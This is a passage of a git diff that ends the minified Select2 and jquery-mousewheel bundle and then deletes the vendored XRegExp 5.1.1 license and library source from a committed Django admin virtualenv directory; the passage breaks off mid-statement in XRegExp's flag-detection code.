o=this.options.get("dropdownCss")||{};return s.isFunction(o)&&(o=o(this.$element)),a.syncCssClasses(t,this.$element,i),t.css(o),t.addClass(n),t},e}),e.define("select2/compat/initSelection",["jquery"],function(i){function e(e,t,n){n.get("debug")&&window.console&&console.warn&&console.warn("Select2: The `initSelection` option has been deprecated in favor of a custom data adapter that overrides the `current` method. This method is now called multiple times instead of a single time when the instance is initialized. Support will be removed for the `initSelection` option in future versions of Select2"),this.initSelection=n.get("initSelection"),this._isInitialized=!1,e.call(this,t,n)}return e.prototype.current=function(e,t){var n=this;this._isInitialized?e.call(this,t):this.initSelection.call(null,this.$element,function(e){n._isInitialized=!0,i.isArray(e)||(e=[e]),t(e)})},e}),e.define("select2/compat/inputData",["jquery","../utils"],function(s,i){function e(e,t,n){this._currentData=[],this._valueSeparator=n.get("valueSeparator")||",","hidden"===t.prop("type")&&n.get("debug")&&console&&console.warn&&console.warn("Select2: Using a hidden input with Select2 is no longer supported and may stop working in the future. It is recommended to use a `<select>` element instead."),e.call(this,t,n)}return e.prototype.current=function(e,t){function i(e,t){var n=[];return e.selected||-1!==s.inArray(e.id,t)?(e.selected=!0,n.push(e)):e.selected=!1,e.children&&n.push.apply(n,i(e.children,t)),n}for(var n=[],r=0;r<this._currentData.length;r++){var o=this._currentData[r];n.push.apply(n,i(o,this.$element.val().split(this._valueSeparator)))}t(n)},e.prototype.select=function(e,t){if(this.options.get("multiple")){var n=this.$element.val();n+=this._valueSeparator+t.id,this.$element.val(n),this.$element.trigger("input").trigger("change")}else this.current(function(e){s.map(e,function(e){e.selected=!1})}),this.$element.val(t.id),this.$element.trigger("input").trigger("change")},e.prototype.unselect=function(e,r){var o=this;r.selected=!1,this.current(function(e){for(var t=[],n=0;n<e.length;n++){var i=e[n];r.id!=i.id&&t.push(i.id)}o.$element.val(t.join(o._valueSeparator)),o.$element.trigger("input").trigger("change")})},e.prototype.query=function(e,t,n){for(var i=[],r=0;r<this._currentData.length;r++){var o=this._currentData[r],s=this.matches(t,o);null!==s&&i.push(s)}n({results:i})},e.prototype.addOptions=function(e,t){var n=s.map(t,function(e){return i.GetData(e[0],"data")});this._currentData.push.apply(this._currentData,n)},e}),e.define("select2/compat/matcher",["jquery"],function(s){return function(o){return function(e,t){var n=s.extend(!0,{},t);if(null==e.term||""===s.trim(e.term))return n;if(t.children){for(var i=t.children.length-1;0<=i;i--){var r=t.children[i];o(e.term,r.text,r)||n.children.splice(i,1)}if(0<n.children.length)return n}return o(e.term,t.text,t)?n:null}}}),e.define("select2/compat/query",[],function(){function e(e,t,n){n.get("debug")&&window.console&&console.warn&&console.warn("Select2: The `query` option has been deprecated in favor of a custom data adapter that overrides the `query` method. Support will be removed for the `query` option in future versions of Select2."),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.callback=n,this.options.get("query").call(null,t)},e}),e.define("select2/dropdown/attachContainer",[],function(){function e(e,t,n){e.call(this,t,n)}return e.prototype.position=function(e,t,n){n.find(".dropdown-wrapper").append(t),t.addClass("select2-dropdown--below"),n.addClass("select2-container--below")},e}),e.define("select2/dropdown/stopPropagation",[],function(){function e(){}return e.prototype.bind=function(e,t,n){e.call(this,t,n);this.$dropdown.on(["blur","change","click","dblclick","focus","focusin","focusout","input","keydown","keyup","keypress","mousedown","mouseenter","mouseleave","mousemove","mouseover","mouseup","search","touchend","touchstart"].join(" "),function(e){e.stopPropagation()})},e}),e.define("select2/selection/stopPropagation",[],function(){function e(){}return e.prototype.bind=function(e,t,n){e.call(this,t,n);this.$selection.on(["blur","change","click","dblclick","focus","focusin","focusout","input","keydown","keyup","keypress","mousedown","mouseenter","mouseleave","mousemove","mouseover","mouseup","search","touchend","touchstart"].join(" "),function(e){e.stopPropagation()})},e}),l=function(p){var h,f,e=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],t="onwheel"in document||9<=document.documentMode?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],g=Array.prototype.slice;if(p.event.fixHooks)for(var n=e.length;n;)p.event.fixHooks[e[--n]]=p.event.mouseHooks;var m=p.event.special.mousewheel={version:"3.1.12",setup:function(){if(this.addEventListener)for(var e=t.length;e;)this.addEventListener(t[--e],i,!1);else this.onmousewheel=i;p.data(this,"mousewheel-line-height",m.getLineHeight(this)),p.data(this,"mousewheel-page-height",m.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var e=t.length;e;)this.removeEventListener(t[--e],i,!1);else this.onmousewheel=null;p.removeData(this,"mousewheel-line-height"),p.removeData(this,"mousewheel-page-height")},getLineHeight:function(e){var t=p(e),n=t["offsetParent"in p.fn?"offsetParent":"parent"]();return n.length||(n=p("body")),parseInt(n.css("fontSize"),10)||parseInt(t.css("fontSize"),10)||16},getPageHeight:function(e){return p(e).height()},settings:{adjustOldDeltas:!0,normalizeOffset:!0}};function i(e){var t,n=e||window.event,i=g.call(arguments,1),r=0,o=0,s=0,a=0,l=0;if((e=p.event.fix(n)).type="mousewheel","detail"in n&&(s=-1*n.detail),"wheelDelta"in n&&(s=n.wheelDelta),"wheelDeltaY"in n&&(s=n.wheelDeltaY),"wheelDeltaX"in n&&(o=-1*n.wheelDeltaX),"axis"in n&&n.axis===n.HORIZONTAL_AXIS&&(o=-1*s,s=0),r=0===s?o:s,"deltaY"in n&&(r=s=-1*n.deltaY),"deltaX"in n&&(o=n.deltaX,0===s&&(r=-1*o)),0!==s||0!==o){if(1===n.deltaMode){var c=p.data(this,"mousewheel-line-height");r*=c,s*=c,o*=c}else if(2===n.deltaMode){var u=p.data(this,"mousewheel-page-height");r*=u,s*=u,o*=u}if(t=Math.max(Math.abs(s),Math.abs(o)),(!f||t<f)&&y(n,f=t)&&(f/=40),y(n,t)&&(r/=40,o/=40,s/=40),r=Math[1<=r?"floor":"ceil"](r/f),o=Math[1<=o?"floor":"ceil"](o/f),s=Math[1<=s?"floor":"ceil"](s/f),m.settings.normalizeOffset&&this.getBoundingClientRect){var d=this.getBoundingClientRect();a=e.clientX-d.left,l=e.clientY-d.top}return e.deltaX=o,e.deltaY=s,e.deltaFactor=f,e.offsetX=a,e.offsetY=l,e.deltaMode=0,i.unshift(e,r,o,s),h&&clearTimeout(h),h=setTimeout(v,200),(p.event.dispatch||p.event.handle).apply(this,i)}}function v(){f=null}function y(e,t){return m.settings.adjustOldDeltas&&"mousewheel"===e.type&&t%120==0}p.fn.extend({mousewheel:function(e){return e?this.bind("mousewheel",e):this.trigger("mousewheel")},unmousewheel:function(e){return this.unbind("mousewheel",e)}})},"function"==typeof e.define&&e.define.amd?e.define("jquery-mousewheel",["jquery"],l):"object"==typeof exports?module.exports=l:l(d),e.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults","./select2/utils"],function(r,e,o,t,s){if(null==r.fn.select2){var a=["open","close","destroy"];r.fn.select2=function(t){if("object"==typeof(t=t||{}))return this.each(function(){var e=r.extend(!0,{},t);new o(r(this),e)}),this;if("string"!=typeof t)throw new Error("Invalid arguments for Select2: "+t);var n,i=Array.prototype.slice.call(arguments,1);return this.each(function(){var e=s.GetData(this,"select2");null==e&&window.console&&console.error&&console.error("The select2('"+t+"') method was called on an element that is not using Select2."),n=e[t].apply(e,i)}),-1<r.inArray(t,a)?this:n}}return null==r.fn.select2.defaults&&(r.fn.select2.defaults=t),o}),{define:e.define,require:e.require}}(),t=e.require("jquery.select2");return d.fn.select2.amd=e,t}); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/xregexp/LICENSE.txt b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/xregexp/LICENSE.txt deleted file mode 100644 index 4d80338c..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/xregexp/LICENSE.txt +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License - -Copyright (c) 2007-present Steven Levithan <http://xregexp.com/> - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/xregexp/xregexp.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/xregexp/xregexp.js deleted file mode 100644 index 215482c4..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/xregexp/xregexp.js +++ /dev/null @@ -1,6126 +0,0 @@ -(function(f){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=f()}else if(typeof define==="function"&&define.amd){define([],f)}else{var g;if(typeof window!=="undefined"){g=window}else if(typeof global!=="undefined"){g=global}else if(typeof self!=="undefined"){g=self}else{g=this}g.XRegExp = f()}})(function(){var define,module,exports;return (function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c="function"==typeof require&&require;if(!f&&c)return c(i,!0);if(u)return u(i,!0);var a=new Error("Cannot find module '"+i+"'");throw a.code="MODULE_NOT_FOUND",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u="function"==typeof require&&require,i=0;i<t.length;i++)o(t[i]);return o}return r})()({1:[function(require,module,exports){ -"use strict"; - -var _sliceInstanceProperty = require("@babel/runtime-corejs3/core-js-stable/instance/slice"); - -var _Array$from = require("@babel/runtime-corejs3/core-js-stable/array/from"); - -var _Symbol = require("@babel/runtime-corejs3/core-js-stable/symbol"); - -var _getIteratorMethod = require("@babel/runtime-corejs3/core-js/get-iterator-method"); - -var _Array$isArray = require("@babel/runtime-corejs3/core-js-stable/array/is-array"); - -var _Object$defineProperty = require("@babel/runtime-corejs3/core-js-stable/object/define-property"); - -var _interopRequireDefault = require("@babel/runtime-corejs3/helpers/interopRequireDefault"); - -_Object$defineProperty(exports, "__esModule", { - value: true -}); - -exports["default"] = void 0; - -var _slicedToArray2 = _interopRequireDefault(require("@babel/runtime-corejs3/helpers/slicedToArray")); - -var _forEach = _interopRequireDefault(require("@babel/runtime-corejs3/core-js-stable/instance/for-each")); - -var _concat = _interopRequireDefault(require("@babel/runtime-corejs3/core-js-stable/instance/concat")); - -var _indexOf = _interopRequireDefault(require("@babel/runtime-corejs3/core-js-stable/instance/index-of")); - -function _createForOfIteratorHelper(o, allowArrayLike) { var it = typeof _Symbol !== "undefined" && _getIteratorMethod(o) || o["@@iterator"]; if (!it) { if (_Array$isArray(o) || (it = _unsupportedIterableToArray(o)) || allowArrayLike && o && typeof o.length === "number") { if (it) o = it; var i = 0; var F = function F() {}; return { s: F, n: function n() { if (i >= o.length) return { done: true }; return { done: false, value: o[i++] }; }, e: function e(_e) { throw _e; }, f: F }; } throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } var normalCompletion = true, didErr = false, err; return { s: function s() { it = it.call(o); }, n: function n() { var step = it.next(); normalCompletion = step.done; return step; }, e: function e(_e2) { didErr = true; err = _e2; }, f: function f() { try { if (!normalCompletion && it["return"] != null) it["return"](); } finally { if (didErr) throw err; } } }; } - -function _unsupportedIterableToArray(o, minLen) { var _context4; if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = _sliceInstanceProperty(_context4 = Object.prototype.toString.call(o)).call(_context4, 8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return _Array$from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } - -function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } - -/*! - * XRegExp Unicode Base 5.1.1 - * <xregexp.com> - * Steven Levithan (c) 2008-present MIT License - */ -var _default = function _default(XRegExp) { - /** - * Adds base support for Unicode matching: - * - Adds syntax `\p{..}` for matching Unicode tokens. Tokens can be inverted using `\P{..}` or - * `\p{^..}`. Token names ignore case, spaces, hyphens, and underscores. You can omit the - * braces for token names that are a single letter (e.g. `\pL` or `PL`). - * - Adds flag A (astral), which enables 21-bit Unicode support. - * - Adds the `XRegExp.addUnicodeData` method used by other addons to provide character data. - * - * Unicode Base relies on externally provided Unicode character data. Official addons are - * available to provide data for Unicode categories, scripts, and properties. - * - * @requires XRegExp - */ - // ==--------------------------== - // Private stuff - // ==--------------------------== - // Storage for Unicode data - var unicode = {}; - var unicodeTypes = {}; // Reuse utils - - var dec = XRegExp._dec; - var hex = XRegExp._hex; - var pad4 = XRegExp._pad4; // Generates a token lookup name: lowercase, with hyphens, spaces, and underscores removed - - function normalize(name) { - return name.replace(/[- _]+/g, '').toLowerCase(); - } // Gets the decimal code of a literal code unit, \xHH, \uHHHH, or a backslash-escaped literal - - - function charCode(chr) { - var esc = /^\\[xu](.+)/.exec(chr); - return esc ? dec(esc[1]) : chr.charCodeAt(chr[0] === '\\' ? 1 : 0); - } // Inverts a list of ordered BMP characters and ranges - - - function invertBmp(range) { - var output = ''; - var lastEnd = -1; - (0, _forEach["default"])(XRegExp).call(XRegExp, range, /(\\x..|\\u....|\\?[\s\S])(?:-(\\x..|\\u....|\\?[\s\S]))?/, function (m) { - var start = charCode(m[1]); - - if (start > lastEnd + 1) { - output += "\\u".concat(pad4(hex(lastEnd + 1))); - - if (start > lastEnd + 2) { - output += "-\\u".concat(pad4(hex(start - 1))); - } - } - - lastEnd = charCode(m[2] || m[1]); - }); - - if (lastEnd < 0xFFFF) { - output += "\\u".concat(pad4(hex(lastEnd + 1))); - - if (lastEnd < 0xFFFE) { - output += '-\\uFFFF'; - } - } - - return output; - } // Generates an inverted BMP range on first use - - - function cacheInvertedBmp(slug) { - var prop = 'b!'; - return unicode[slug][prop] || (unicode[slug][prop] = invertBmp(unicode[slug].bmp)); - } // Combines and optionally negates BMP and astral data - - - function buildAstral(slug, isNegated) { - var item = unicode[slug]; - var combined = ''; - - if (item.bmp && !item.isBmpLast) { - var _context; - - combined = (0, _concat["default"])(_context = "[".concat(item.bmp, "]")).call(_context, item.astral ? '|' : ''); - } - - if (item.astral) { - combined += item.astral; - } - - if (item.isBmpLast && item.bmp) { - var _context2; - - combined += (0, _concat["default"])(_context2 = "".concat(item.astral ? '|' : '', "[")).call(_context2, item.bmp, "]"); - } // Astral Unicode tokens always match a code point, never a code unit - - - return isNegated ? "(?:(?!".concat(combined, ")(?:[\uD800-\uDBFF][\uDC00-\uDFFF]|[\0-\uFFFF]))") : "(?:".concat(combined, ")"); - } // Builds a complete astral pattern on first use - - - function cacheAstral(slug, isNegated) { - var prop = isNegated ? 'a!' : 'a='; - return unicode[slug][prop] || (unicode[slug][prop] = buildAstral(slug, isNegated)); - } // ==--------------------------== - // Core functionality - // ==--------------------------== - - /* - * Add astral mode (flag A) and Unicode token syntax: `\p{..}`, `\P{..}`, `\p{^..}`, `\pC`. - */ - - - XRegExp.addToken( // Use `*` instead of `+` to avoid capturing `^` as the token name in `\p{^}` - /\\([pP])(?:{(\^?)(?:(\w+)=)?([^}]*)}|([A-Za-z]))/, function (match, scope, flags) { - var ERR_DOUBLE_NEG = 'Invalid double negation '; - var ERR_UNKNOWN_NAME = 'Unknown Unicode token '; - var ERR_UNKNOWN_REF = 'Unicode token missing data '; - var ERR_ASTRAL_ONLY = 'Astral mode required for Unicode token '; - var ERR_ASTRAL_IN_CLASS = 'Astral mode does not support Unicode tokens within character classes'; - - var _match = (0, _slicedToArray2["default"])(match, 6), - fullToken = _match[0], - pPrefix = _match[1], - caretNegation = _match[2], - typePrefix = _match[3], - tokenName = _match[4], - tokenSingleCharName = _match[5]; // Negated via \P{..} or \p{^..} - - - var isNegated = pPrefix === 'P' || !!caretNegation; // Switch from BMP (0-FFFF) to astral (0-10FFFF) mode via flag A - - var isAstralMode = (0, _indexOf["default"])(flags).call(flags, 'A') !== -1; // Token lookup name. Check `tokenSingleCharName` first to avoid passing `undefined` - // via `\p{}` - - var slug = normalize(tokenSingleCharName || tokenName); // Token data object - - var item = unicode[slug]; - - if (pPrefix === 'P' && caretNegation) { - throw new SyntaxError(ERR_DOUBLE_NEG + fullToken); - } - - if (!unicode.hasOwnProperty(slug)) { - throw new SyntaxError(ERR_UNKNOWN_NAME + fullToken); - } - - if (typePrefix) { - if (!(unicodeTypes[typePrefix] && unicodeTypes[typePrefix][slug])) { - throw new SyntaxError(ERR_UNKNOWN_NAME + fullToken); - } - } // Switch to the negated form of the referenced Unicode token - - - if (item.inverseOf) { - slug = normalize(item.inverseOf); - - if (!unicode.hasOwnProperty(slug)) { - var _context3; - - throw new ReferenceError((0, _concat["default"])(_context3 = "".concat(ERR_UNKNOWN_REF + fullToken, " -> ")).call(_context3, item.inverseOf)); - } - - item = unicode[slug]; - isNegated = !isNegated; - } - - if (!(item.bmp || isAstralMode)) { - throw new SyntaxError(ERR_ASTRAL_ONLY + fullToken); - } - - if (isAstralMode) { - if (scope === 'class') { - throw new SyntaxError(ERR_ASTRAL_IN_CLASS); - } - - return cacheAstral(slug, isNegated); - } - - return scope === 'class' ? isNegated ? cacheInvertedBmp(slug) : item.bmp : "".concat((isNegated ? '[^' : '[') + item.bmp, "]"); - }, { - scope: 'all', - optionalFlags: 'A', - leadChar: '\\' - }); - /** - * Adds to the list of Unicode tokens that XRegExp regexes can match via `\p` or `\P`. - * - * @memberOf XRegExp - * @param {Array} data Objects with named character ranges. Each object may have properties - * `name`, `alias`, `isBmpLast`, `inverseOf`, `bmp`, and `astral`. All but `name` are - * optional, although one of `bmp` or `astral` is required (unless `inverseOf` is set). If - * `astral` is absent, the `bmp` data is used for BMP and astral modes. If `bmp` is absent, - * the name errors in BMP mode but works in astral mode. If both `bmp` and `astral` are - * provided, the `bmp` data only is used in BMP mode, and the combination of `bmp` and - * `astral` data is used in astral mode. `isBmpLast` is needed when a token matches orphan - * high surrogates *and* uses surrogate pairs to match astral code points. The `bmp` and - * `astral` data should be a combination of literal characters and `\xHH` or `\uHHHH` escape - * sequences, with hyphens to create ranges. Any regex metacharacters in the data should be - * escaped, apart from range-creating hyphens. The `astral` data can additionally use - * character classes and alternation, and should use surrogate pairs to represent astral code - * points. `inverseOf` can be used to avoid duplicating character data if a Unicode token is - * defined as the exact inverse of another token. - * @param {String} [typePrefix] Enables optionally using this type as a prefix for all of the - * provided Unicode tokens, e.g. if given `'Type'`, then `\p{TokenName}` can also be written - * as `\p{Type=TokenName}`. - * @example - * - * // Basic use - * XRegExp.addUnicodeData([{ - * name: 'XDigit', - * alias: 'Hexadecimal', - * bmp: '0-9A-Fa-f' - * }]); - * XRegExp('\\p{XDigit}:\\p{Hexadecimal}+').test('0:3D'); // -> true - */ - - XRegExp.addUnicodeData = function (data, typePrefix) { - var ERR_NO_NAME = 'Unicode token requires name'; - var ERR_NO_DATA = 'Unicode token has no character data '; - - if (typePrefix) { - // Case sensitive to match ES2018 - unicodeTypes[typePrefix] = {}; - } - - var _iterator = _createForOfIteratorHelper(data), - _step; - - try { - for (_iterator.s(); !(_step = _iterator.n()).done;) { - var item = _step.value; - - if (!item.name) { - throw new Error(ERR_NO_NAME); - } - - if (!(item.inverseOf || item.bmp || item.astral)) { - throw new Error(ERR_NO_DATA + item.name); - } - - var normalizedName = normalize(item.name); - unicode[normalizedName] = item; - - if (typePrefix) { - unicodeTypes[typePrefix][normalizedName] = true; - } - - if (item.alias) { - var normalizedAlias = normalize(item.alias); - unicode[normalizedAlias] = item; - - if (typePrefix) { - unicodeTypes[typePrefix][normalizedAlias] = true; - } - } - } // Reset the pattern cache used by the `XRegExp` constructor, since the same pattern and - // flags might now produce different results - - } catch (err) { - _iterator.e(err); - } finally { - _iterator.f(); - } - - XRegExp.cache.flush('patterns'); - }; - /** - * @ignore - * - * Return a reference to the internal Unicode definition structure for the given Unicode - * Property if the given name is a legal Unicode Property for use in XRegExp `\p` or `\P` regex - * constructs. - * - * @memberOf XRegExp - * @param {String} name Name by which the Unicode Property may be recognized (case-insensitive), - * e.g. `'N'` or `'Number'`. The given name is matched against all registered Unicode - * Properties and Property Aliases. - * @returns {Object} Reference to definition structure when the name matches a Unicode Property. - * - * @note - * For more info on Unicode Properties, see also http://unicode.org/reports/tr18/#Categories. - * - * @note - * This method is *not* part of the officially documented API and may change or be removed in - * the future. It is meant for userland code that wishes to reuse the (large) internal Unicode - * structures set up by XRegExp. - */ - - - XRegExp._getUnicodeProperty = function (name) { - var slug = normalize(name); - return unicode[slug]; - }; -}; - -exports["default"] = _default; -module.exports = exports.default; -},{"@babel/runtime-corejs3/core-js-stable/array/from":5,"@babel/runtime-corejs3/core-js-stable/array/is-array":6,"@babel/runtime-corejs3/core-js-stable/instance/concat":7,"@babel/runtime-corejs3/core-js-stable/instance/for-each":9,"@babel/runtime-corejs3/core-js-stable/instance/index-of":10,"@babel/runtime-corejs3/core-js-stable/instance/slice":11,"@babel/runtime-corejs3/core-js-stable/object/define-property":14,"@babel/runtime-corejs3/core-js-stable/symbol":16,"@babel/runtime-corejs3/core-js/get-iterator-method":19,"@babel/runtime-corejs3/helpers/interopRequireDefault":24,"@babel/runtime-corejs3/helpers/slicedToArray":27}],2:[function(require,module,exports){ -"use strict"; - -var _Object$defineProperty = require("@babel/runtime-corejs3/core-js-stable/object/define-property"); - -var _interopRequireDefault = require("@babel/runtime-corejs3/helpers/interopRequireDefault"); - -_Object$defineProperty(exports, "__esModule", { - value: true -}); - -exports["default"] = void 0; - -var _categories = _interopRequireDefault(require("../../tools/output/categories")); - -/*! - * XRegExp Unicode Categories 5.1.1 - * <xregexp.com> - * Steven Levithan (c) 2010-present MIT License - * Unicode data by Mathias Bynens <mathiasbynens.be> - */ -var _default = function _default(XRegExp) { - /** - * Adds support for Unicode's general categories. E.g., `\p{Lu}` or `\p{Uppercase Letter}`. See - * category descriptions in UAX #44 <http://unicode.org/reports/tr44/#GC_Values_Table>. Token - * names are case insensitive, and any spaces, hyphens, and underscores are ignored. - * - * Uses Unicode 14.0.0. - * - * @requires XRegExp, Unicode Base - */ - if (!XRegExp.addUnicodeData) { - throw new ReferenceError('Unicode Base must be loaded before Unicode Categories'); - } - - XRegExp.addUnicodeData(_categories["default"]); -}; - -exports["default"] = _default; -module.exports = exports.default; -},{"../../tools/output/categories":222,"@babel/runtime-corejs3/core-js-stable/object/define-property":14,"@babel/runtime-corejs3/helpers/interopRequireDefault":24}],3:[function(require,module,exports){ -"use strict"; - -var _Object$defineProperty = require("@babel/runtime-corejs3/core-js-stable/object/define-property"); - -var _interopRequireDefault = require("@babel/runtime-corejs3/helpers/interopRequireDefault"); - -_Object$defineProperty(exports, "__esModule", { - value: true -}); - -exports["default"] = void 0; - -var _xregexp = _interopRequireDefault(require("./xregexp")); - -var _unicodeBase = _interopRequireDefault(require("./addons/unicode-base")); - -var _unicodeCategories = _interopRequireDefault(require("./addons/unicode-categories")); - -(0, _unicodeBase["default"])(_xregexp["default"]); -(0, _unicodeCategories["default"])(_xregexp["default"]); -var _default = _xregexp["default"]; -exports["default"] = _default; -module.exports = exports.default; -},{"./addons/unicode-base":1,"./addons/unicode-categories":2,"./xregexp":4,"@babel/runtime-corejs3/core-js-stable/object/define-property":14,"@babel/runtime-corejs3/helpers/interopRequireDefault":24}],4:[function(require,module,exports){ -"use strict"; - -var _sliceInstanceProperty2 = require("@babel/runtime-corejs3/core-js-stable/instance/slice"); - -var _Array$from = require("@babel/runtime-corejs3/core-js-stable/array/from"); - -var _Symbol = require("@babel/runtime-corejs3/core-js-stable/symbol"); - -var _getIteratorMethod = require("@babel/runtime-corejs3/core-js/get-iterator-method"); - -var _Array$isArray = require("@babel/runtime-corejs3/core-js-stable/array/is-array"); - -var _Object$defineProperty = require("@babel/runtime-corejs3/core-js-stable/object/define-property"); - -var _interopRequireDefault = require("@babel/runtime-corejs3/helpers/interopRequireDefault"); - -_Object$defineProperty(exports, "__esModule", { - value: true -}); - -exports["default"] = void 0; - -var _slicedToArray2 = _interopRequireDefault(require("@babel/runtime-corejs3/helpers/slicedToArray")); - -var _flags = _interopRequireDefault(require("@babel/runtime-corejs3/core-js-stable/instance/flags")); - -var _sort = _interopRequireDefault(require("@babel/runtime-corejs3/core-js-stable/instance/sort")); - -var _slice = _interopRequireDefault(require("@babel/runtime-corejs3/core-js-stable/instance/slice")); - -var _parseInt2 = _interopRequireDefault(require("@babel/runtime-corejs3/core-js-stable/parse-int")); - -var _indexOf = _interopRequireDefault(require("@babel/runtime-corejs3/core-js-stable/instance/index-of")); - -var _forEach = _interopRequireDefault(require("@babel/runtime-corejs3/core-js-stable/instance/for-each")); - -var _create = _interopRequireDefault(require("@babel/runtime-corejs3/core-js-stable/object/create")); - -var _concat = _interopRequireDefault(require("@babel/runtime-corejs3/core-js-stable/instance/concat")); - -function _createForOfIteratorHelper(o, allowArrayLike) { var it = typeof _Symbol !== "undefined" && _getIteratorMethod(o) || o["@@iterator"]; if (!it) { if (_Array$isArray(o) || (it = _unsupportedIterableToArray(o)) || allowArrayLike && o && typeof o.length === "number") { if (it) o = it; var i = 0; var F = function F() {}; return { s: F, n: function n() { if (i >= o.length) return { done: true }; return { done: false, value: o[i++] }; }, e: function e(_e) { throw _e; }, f: F }; } throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } var normalCompletion = true, didErr = false, err; return { s: function s() { it = it.call(o); }, n: function n() { var step = it.next(); normalCompletion = step.done; return step; }, e: function e(_e2) { didErr = true; err = _e2; }, f: function f() { try { if (!normalCompletion && it["return"] != null) it["return"](); } finally { if (didErr) throw err; } } }; } - -function _unsupportedIterableToArray(o, minLen) { var _context9; if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = _sliceInstanceProperty2(_context9 = Object.prototype.toString.call(o)).call(_context9, 8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return _Array$from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } - -function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } - -/*! - * XRegExp 5.1.1 - * <xregexp.com> - * Steven Levithan (c) 2007-present MIT License - */ - -/** - * XRegExp provides augmented, extensible regular expressions. You get additional regex syntax and - * flags, beyond what browsers support natively. XRegExp is also a regex utility belt with tools to - * make your client-side grepping simpler and more powerful, while freeing you from related - * cross-browser inconsistencies. - */ -// ==--------------------------== -// Private stuff -// ==--------------------------== -// Property name used for extended regex instance data -var REGEX_DATA = 'xregexp'; // Optional features that can be installed and uninstalled - -var features = { - astral: false, - namespacing: true -}; // Storage for fixed/extended native methods - -var fixed = {}; // Storage for regexes cached by `XRegExp.cache` - -var regexCache = {}; // Storage for pattern details cached by the `XRegExp` constructor - -var patternCache = {}; // Storage for regex syntax tokens added internally or by `XRegExp.addToken` - -var tokens = []; // Token scopes - -var defaultScope = 'default'; -var classScope = 'class'; // Regexes that match native regex syntax, including octals - -var nativeTokens = { - // Any native multicharacter token in default scope, or any single character - 'default': /\\(?:0(?:[0-3][0-7]{0,2}|[4-7][0-7]?)?|[1-9]\d*|x[\dA-Fa-f]{2}|u(?:[\dA-Fa-f]{4}|{[\dA-Fa-f]+})|c[A-Za-z]|[\s\S])|\(\?(?:[:=!]|<[=!])|[?*+]\?|{\d+(?:,\d*)?}\??|[\s\S]/, - // Any native multicharacter token in character class scope, or any single character - 'class': /\\(?:[0-3][0-7]{0,2}|[4-7][0-7]?|x[\dA-Fa-f]{2}|u(?:[\dA-Fa-f]{4}|{[\dA-Fa-f]+})|c[A-Za-z]|[\s\S])|[\s\S]/ -}; // Any backreference or dollar-prefixed character in replacement strings - -var replacementToken = /\$(?:\{([^\}]+)\}|<([^>]+)>|(\d\d?|[\s\S]?))/g; // Check for correct `exec` handling of nonparticipating capturing groups - -var correctExecNpcg = /()??/.exec('')[1] === undefined; // Check for ES6 `flags` prop support - -var hasFlagsProp = (0, _flags["default"])(/x/) !== undefined; - -function hasNativeFlag(flag) { - // Can't check based on the presence of properties/getters since browsers might support such - // properties even when they don't support the corresponding flag in regex construction (tested - // in Chrome 48, where `'unicode' in /x/` is true but trying to construct a regex with flag `u` - // throws an error) - var isSupported = true; - - try { - // Can't use regex literals for testing even in a `try` because regex literals with - // unsupported flags cause a compilation error in IE - new RegExp('', flag); // Work around a broken/incomplete IE11 polyfill for sticky introduced in core-js 3.6.0 - - if (flag === 'y') { - // Using function to avoid babel transform to regex literal - var gy = function () { - return 'gy'; - }(); - - var incompleteY = '.a'.replace(new RegExp('a', gy), '.') === '..'; - - if (incompleteY) { - isSupported = false; - } - } - } catch (exception) { - isSupported = false; - } - - return isSupported; -} // Check for ES2021 `d` flag support - - -var 